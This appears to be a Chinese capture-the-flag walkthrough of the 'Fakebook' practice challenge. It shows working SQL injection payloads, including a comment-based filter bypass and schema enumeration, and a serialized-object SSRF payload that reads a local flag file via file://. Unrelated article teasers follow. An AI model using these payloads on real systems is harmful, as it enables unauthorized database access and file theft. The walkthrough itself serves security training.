[网鼎杯2018}fakebook靶场思路,MariaDB注入,通关教程前言

news2025/1/11 14:08:05

靶场链接:BUUCTF在线评测[%E7%BD%91%E9%BC%8E%E6%9D%AF%202018]Fakebook

Tips:更多优质【网络安全】文章主页

你的00后专属网安学习搭子-羽~

教程

首页

image-20240814100107403

sql万能密码

image-20240814103758640

登录失败

image-20240814103816908

注册一个账号试试

image-20240814103555624

当前页面好像也没有什么注入点

image-20240814103647238

目录扫描

image-20240814094129208

访问

352fdebbbd1706f951cdb8538db5938

image-20240813225527087

得到user.php源码

<?php
​
​
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
​
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
​
    function get($url)
    {
        $ch = curl_init();
​
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
​
        return $output;
    }
​
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
​
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
​
}

这句代码,很明显,存在ssrf漏洞,看看待会能不能用上

    function get($url)
    {
        $ch = curl_init();
​
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
​
        return $output;
    }

SSRF参考:CTFHub技能树通关教程——SSRF漏洞原理攻击与防御(一)(超详细总结)

添加一条数据后

image-20240814114600163

看到一个no参数

image-20240814114631446

尝试注入,sql语句错误,存在sql注入漏洞

sqlmap失败

image-20240813231834300

手工添加引号和注释符号#,还是报sql语句错误,没有回显,那么我们去掉单引号试试

?no=1' and 1=2 #

image-20240814142207444

Tips : 手工注入文章参考:从零开始学SQL注入(sql十大注入类型):技术解析与实战演练

正常回显

?no=1 and 1=2 #

image-20240814142418113

查询没有6列

?no=1 order by 6 #

image-20240814142525233

order by 4正常回显,存在四列

?no=1 order by 4 #

image-20240813232209412

没有回显,大概率是过滤掉了,但不知道是过滤哪个关键词

?no=1 union select 1,2,3,4 #

image-20240814142647273

双写,看样子不是用了替换函数

?no=1 ununionion select 1,2,3,4 #
​

image-20240814143049672

使用/**/这个代替空格

?no=1/**/union/**/select/**/1,2,3,4 #

image-20240814142946369

no改成-1

image-20240814143307392

当前数据库

?no=-1/**/union/**/select 1,group_concat(database()),3,4 from information_schema.schemata #

fakebook,information_schema,mysql,performance_schema,test

image-20240814144129595

爆表,得到表名users

?no=-1/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook' #

image-20240814144737657

爆列,得到列名

?no=-1/**/union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' #

image-20240814144950113

查找用户表中所有符合条件的数据,却发现有一个序列化的结果

?no=-1/**/union/**/select 1,group_concat(no,'-',username,'-',passwd,'-',data),3,4 from users #

image-20240814150000045

但是,没有正常回显啊

image-20240814151913870

我们这样试试,把4替换为这个序列化的结果

image-20240814152849364

一切正常

image-20240814154443033

且源码中能显示正常结果的,是data伪协议标准格式,使用base64加密算法

data:text/html;base64,PCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSxjaHJvbWU9MSI+PG1ldGEgY29udGVudD0iYWx3YXlzIiBuYW1lPS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Wlhbi5taWl0Lmdvdi5jbi8iIHRhcmdldD0iX2JsYW5rIj7kuqxJQ1Dor4EwMzAxNzPlj7c8L2E+PC9wPjxwIGNsYXNzPSJsaCI+PHNwYW4gaWQ9InllYXIiIGNsYXNzPSJ0ZXh0LWNvbG9yIj48L3NwYW4+PC9wPjxwIGNsYXNzPSJsaCI+PHNwYW4gY2xhc3M9InRleHQtY29sb3IiPuS6kuiBlOe9keiNr+WTgeS/oeaBr+acjeWKoei1hOagvOivgeS5piAo5LqsKS3nu4/okKXmgKctMjAxNy0wMDIwPC9zcGFuPjwvcD48cCBjbGFzcz0ibGgiPjxhIGNsYXNzPSJ0ZXh0LWNvbG9yIiBocmVmPSIvL3d3dy5iYWlkdS5jb20vbGljZW5jZS8iIHRhcmdldD0iX2JsYW5rIj7kv6Hmga/nvZHnu5zkvKDmkq3op4blkKzoioLnm67orrjlj6/or4EgMDExMDUxNjwvYT48L3A+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPnZhciBkYXRlPW5ldyBEYXRlLHllYXI9ZGF0ZS5nZXRGdWxsWWVhcigpO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ5ZWFyIikuaW5uZXJUZXh0PSLCqSIreWVhcisiIEJhaWR1ICI8L3NjcmlwdD48L2JvZHk+PC9odG1sPg==

image-20240814152126339

解密之后,这不就是我新加的那条数据blog的网址嘛,确实存在ssrf漏洞

image-20240814152332959

构造序列化对象,我们使用file协议,读取本地文件(/var/www/html/flag.php 这个路径之前每个报错界面基本都有,猜测flag在这个站点根目录下)

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受PHP的allow_url_fopen与allow_url_include配置影响

例如读取D盘目录下的指定文件:http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
}
$res = new UserInfo();
echo serialize($res); // O:8:"UserInfo":3:{s:4:"name";s:5:"mochu";s:3:"age";i:7;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

构造payload

?no=-1/**/union/**/select 1,group_concat(no,'-',username,'-',passwd,'-',data),3,'O:8:"UserInfo":3:{s:4:"name";s:5:"mochu";s:3:"age";i:7;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users #

image-20240814155114938

查看源码

image-20240814155149993

解密得到flag

image-20240814155223904

往期文章

从零开始学SQL注入(sql十大注入类型):技术解析与实战演练

SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细

网络安全一场梦,护网三天就结束,多少有点走过场。

Love-Yi情侣网站存在sql注入漏洞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2040417.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

用R语言进行绝对值运算、平方根运算和三角函数运算

下面内容摘录自《R 语言与数据科学的终极指南》专栏文章的部分内容&#xff0c;每篇文章都在 5000 字以上&#xff0c;质量平均分高达 94 分&#xff0c;看全文请点击下面链接&#xff1a; 3章3节&#xff1a;R的赋值操作与算术运算_r 链式赋值-CSDN博客文章浏览阅读172次。掌…

代码随想录算法训练营43期 | Day 14——226.翻转二叉树、101. 对称二叉树、104.二叉树的最大深度、二叉树最小深度

代码随想录算法训练营 226.翻转二叉树101. 对称二叉树递归法 104.二叉树的最大深度二叉树最小深度 226.翻转二叉树 leetcode链接 思路&#xff1a; 递归三部曲&#xff1a; 确定递归函数的参数和返回值确定终止条件确定单层递归的逻辑 递归法 TreeNode* invertTreeNode(Tree…

谷歌「Her」来啦!发布Gemini Live语音模式,现场演示两次翻车

重磅惊喜&#xff01; 今天&#xff0c;在MadeByGoogle发布会上&#xff0c;谷歌公布了 AI语音助手 Gemini Live&#xff0c;对标的正是GPT-4o&#xff0c;而且是两周前开放测试的语音模式。 Gemini Live 可以进行顺畅的语音交流&#xff0c;听从语音指令&#xff0c;可以随时…

设计模式21-组合模式

设计模式21-组合模式&#xff08;Composite Pattern&#xff09; 写在前面 动机定义与结构定义结构主要类及其关系 C代码推导优缺点应用场景总结补充叶子节点不重载这三个方法叶子节点重载这三个方法结论 写在前面 数据结构模式 常常有一些组件在内部具有特定的数据结构。如何…

StreamUtils 流处理工具

一、工具类展示 提供对集合的过滤、拼接、排序、MAP转化、分组、转为SET集合等方法 /*** stream 流工具类**/ NoArgsConstructor(access AccessLevel.PRIVATE) public class StreamUtils {/*** 将collection过滤** param collection 需要转化的集合* param function 过滤方法…

【Linux Install】Ubuntu20, Windows10 双系统安装

1. 制作启动盘 1.1 下载 Ubuntu 系统镜像 ISO 文件 从 Ubuntu 官网下载 (https://cn.ubuntu.com/download/desktop)。官网访问慢的&#xff0c;从国内镜像点下。 1.2 烧录 Ubuntu ISO 镜像 下载 Rufus&#xff1a;从Rufus官网下载 Rufus 工具。 插入U 盘&#xff1a;将U盘插…

mysql-增添轮播图

使用工具Navicat连接mysql: 首先 然后 需要注意的是需要上面两个步骤执行之后,再点击连接测试才可以成功,其他单独连接测试都不成功,然后点击确定即可!!!!! MySQL修改: 首先,进入mysql mysql -u root -p 密码忘记参考教程:Linux错误 ERROR 1045 (28000): Acce…

数据结构入门——07堆

1.堆 堆&#xff08;Heap&#xff09;是一种特殊的完全二叉树数据结构&#xff0c;具有以下两个主要特性&#xff1a; 结构特性&#xff1a; 堆是一棵完全二叉树&#xff0c;即除了最后一层的叶子节点外&#xff0c;每一层都是满的&#xff0c;最后一层的叶子节点从左向右依次…

西安国际数字影像产业园作为一个数字创意孵化园的实际情况怎么样?

在科技飞速发展的今天&#xff0c;数字创意产业正迅速崛起&#xff0c;成为全球经济的新增长点。西安国际数字影像产业园作为中国西部数字创意产业的领军者&#xff0c;凭借其独特的优势和发展策略&#xff0c;迅速崭露头角&#xff0c;成为全国瞩目的焦点。那么&#xff0c;是…

前端统计SDK设计和实现

前端统计的范围 访问量 PV自定义事件性能&#xff0c;错误 前端统计的实现 发送统计数据 不用 axios ( 因为统计服务器通常由第三方提供&#xff0c;需要跨域 )&#xff0c;而用 img 发送&#xff0c;因为可跨域&#xff0c;且兼容性非常好 自定义事件的统计 pv 的统计 性能…

【鸿蒙学习】HarmonyOS应用开发者基础 - 构建更加丰富的页面之Tabs(三)

学完时间&#xff1a;2024年8月14日 一、前言叨叨 学习HarmonyOS的第六课&#xff0c;人数又成功的降了500名左右&#xff0c;到了3575人了。 本文接上一文章【鸿蒙学习】HarmonyOS应用开发者基础 - 构建更加丰富的页面&#xff08;一&#xff09;&#xff0c;继续记录构建更…

探索数据结构:AVL树的分析与实现

✨✨ 欢迎大家来到贝蒂大讲堂✨✨ &#x1f388;&#x1f388;养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; 所属专栏&#xff1a;数据结构与算法 贝蒂的主页&#xff1a;Betty’s blog 1. AVL树的介绍 在前面我们学习二叉搜索树时知道&#xff0c;在数据有序…

鸿蒙开发APP应用UX体验标准

基础体验 应用导航 3.1.1.1 系统返回 页面布局 3.1.2.1 布局基础要求 3.1.2.2 挖孔区适配 人机交互 3.1.3.1 避免与系统手势冲突3.1.3.2 典型手势时长设计3.1.3.3 点击热区 视觉风格 3.1.4.1 色彩对比度3.1.4.2 字体大小 3.1.4.3 图标 3.1.4.3.1 应用图标3.1.4.3.2 界…

统一响应结果封装,Result类的实现【后端 06】

统一响应结果封装&#xff0c;Result类的实现 在开发Web应用或API接口时&#xff0c;如何优雅地处理并返回响应结果是每个开发者都需要考虑的问题。统一响应结果封装&#xff08;Unified Response Encapsulation&#xff09;作为一种广泛采用的实践&#xff0c;不仅提高了API的…

快讯 | OpenAI 找回场子:chatgpt-4o-latest 刷新多项AI跑分纪录

在数字化浪潮的推动下&#xff0c;人工智能&#xff08;AI&#xff09;正成为塑造未来的关键力量。硅纪元视角栏目紧跟AI科技的最新发展&#xff0c;捕捉行业动态&#xff1b;提供深入的新闻解读&#xff0c;助您洞悉技术背后的逻辑&#xff1b;汇聚行业专家的见解&#xff0c;…

LeetCode 205 同构字符串

题目 给定两个字符串 s 和 t &#xff0c;判断它们是否是同构的。 如果 s 中的字符可以按某种映射关系替换得到 t &#xff0c;那么这两个字符串是同构的。 每个出现的字符都应当映射到另一个字符&#xff0c;同时不改变字符的顺序。不同字符不能映射到同一个字符上&#xff0c…

边缘智能:让每一个温室都成为计算中心

&#xff08; 于景鑫 国家农业信息化工程技术研究中心&#xff09;当人工智能的浪潮席卷全球&#xff0c;大语言模型&#xff08;LLM&#xff09;引领智能风潮之时&#xff0c;"智慧农业"也摩拳擦掌跃跃欲试。设施农业作为现代农业的翘楚&#xff0c;正站在数智化变革…

C语言典型例题38

《C程序设计教程&#xff08;第四版&#xff09;——谭浩强》 例题3.5 写程序&#xff0c;判断某一年是否为闰年 代码&#xff1a; //《C程序设计教程&#xff08;第四版&#xff09;——谭浩强》 //例题3.5 写程序&#xff0c;判断某一年是否为闰年//相关知识&#xff1a;如果…

观存储历史,论数据未来

数据存储 这几天我反复观看了腾讯云社区的《中国数据库前世今生》纪录片&#xff0c;每次的感受都大相径庭。以下是我在这段时间里对纪录片的两个不同感想&#xff0c;希望感兴趣的小伙伴们也能去观看一番。 一个是关于国产数据库的发展趋势的探讨&#xff1a;https://blog.c…

使用 C# 反射查询程序集的元数据 (LINQ)

文章目录 1. 反射概述2. LINQ 概述3. 使用反射和 LINQ 查询程序集的元数据4. 扩展&#xff1a;查询字段和属性5. 扩展示例&#xff1a;查询公共类及其属性和方法6. 总结 在 C# 中&#xff0c;反射是一个强大的工具&#xff0c;它允许我们在运行时检查程序集、类型、方法等的元数…